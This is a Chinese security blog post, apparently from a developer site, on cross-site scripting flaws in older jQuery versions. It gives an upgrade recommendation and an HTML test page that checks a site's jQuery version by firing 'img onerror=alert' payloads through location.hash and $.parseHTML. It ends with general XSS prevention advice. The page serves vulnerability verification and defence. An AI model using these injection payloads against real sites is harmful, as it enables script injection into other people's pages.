JQuery跨站脚本漏洞

漏洞描述:

jQuery是美国John Resig程序员的一套开源、跨浏览器的JavaScript库。该库简化了HTML与JavaScript之间的操作,并具有模块化、插件扩展等特点。

jQuery 3.4.0之前版本中存在跨站脚本漏洞,该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

危害级别:

解决方案:更新jQuery到最新版本:如果是由于jQuery的旧版本中存在漏洞,那么升级到最新版本可以修复这个问题。

漏洞验证:

1、使用Dude Suite访问目标站点,数据监视栏得到jQuery版本。

2、使用如下验证代码,保存为html格式。需要修改第9行,src="http://你的URL:端口号/Scripts/jquery-1.8.2.min.js"中“你的URL:端口号”为要测试的url,修改"jquery-1.8.2.min.js"为自己要验证的js版本。

<!DOCTYPE html>
<html lang="zh">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Jquery XSS</title>
    <script type="text/javascript" src="http://你的URL:端口号/Scripts/jquery-1.8.2.min.js"></script>
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->
    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->
    <script>
        $(function () {
            // #9521
            // #11290
            $(location.hash);

            // #11974
            $('#bug').on('click', function () {
                $.parseHTML("<img src='z' onerror='alert(\"bug-11974\")'>");
                return false;
            });
        })
    </script>
</head>

<body>
    <h1>jQuery with XSS</h1>
    <h2>Demo:</h2>
    <p style="color:red;">Note: Source code changes jQuery version,As long as there is no bullet window, there will be no problem.!</p>
    <ul>
        <li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a
                href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>
        <li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a
                href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>
        <li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"
                target="_blank">ticket</a></li>
    </ul>
    <h2>Test version:</h2>
    <ul>
        <li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>
    </ul>
    <h2>Safe version:</h2>
    <ul>
        <li>1.12.0, 1.12.1 </li>
        <li>2.2.0, 2.2.1</li>
        <li>3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.2.1, 3.3.0, 3.3.1, 3.4.0, 3.4.1, 3.5.0, 3.5.1</li>
    </ul>
</body>

</html>

3、保存上面代码后用浏览器打开。

可以看到Demo下面有三个bug-*

4、验证:可以依次点击这三个bug-9521 bug-11290 bug-11974,看看哪个会弹窗,我这里是 jQuery v1.8.2 的版本,在点击 bug-11974 发生了弹窗,说明此版本的漏洞被验证成功了。

5、也可以点击页面中的 test version下的 test result,来判断自己版本的 jQuery 版本存在的 bug 编号,例如这里的 jQuery v2.1.4 版本就对应着bug-2432和 bug-11974。

  • 11
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
jQuery是一种广泛应用于网页开发的JavaScript库。然而,由于其普遍性,jQuery也存在一些安全漏洞,其中之一是跨站脚本攻击(XSS)。 跨站脚本攻击是指攻击者利用网页中的漏洞来注入恶意脚本代码,从而窃取用户敏感信息或者对用户进行各种不良操作。而jQuery跨站脚本漏洞主要是由于其在处理用户输入时,没有充分验证用户输入的安全性。 这种漏洞的利用方式大致分为两种:一种是对用户输入的数据进行恶意修改,然后以用户的身份执行一些不被授权的操作;另一种是实施钓鱼攻击,诱骗用户点击看似正常的链接,实际上触发了一段恶意代码。 为了防止jQuery跨站脚本漏洞,我们可以采取以下几个措施: 1. 对用户输入的数据进行严格的验证和过滤,确保输入的内容符合预期的格式和类型,并且不包含恶意代码。 2. 在使用jQuery提供的DOM操作方法时,尽量避免使用innerHTML、outerHTML等操作,可以使用text()、html()等方法来代替,以避免恶意修改DOM结构。 3. 在使用jQuery的AJAX功能时,要注意对返回的数据进行严格的验证和过滤,确保不包含恶意代码。 4. 及时更新jQuery库,以获取最新的安全补丁和修复漏洞。 5. 强制开启CSP(内容安全策略),限制网页中外部资源的加载,避免引入可疑的脚本文件。 总之,要防止jQuery跨站脚本漏洞,我们需要在代码编写和用户输入处理上加入更多的安全措施,确保用户的信息安全和网页的正常运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

QYpiying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值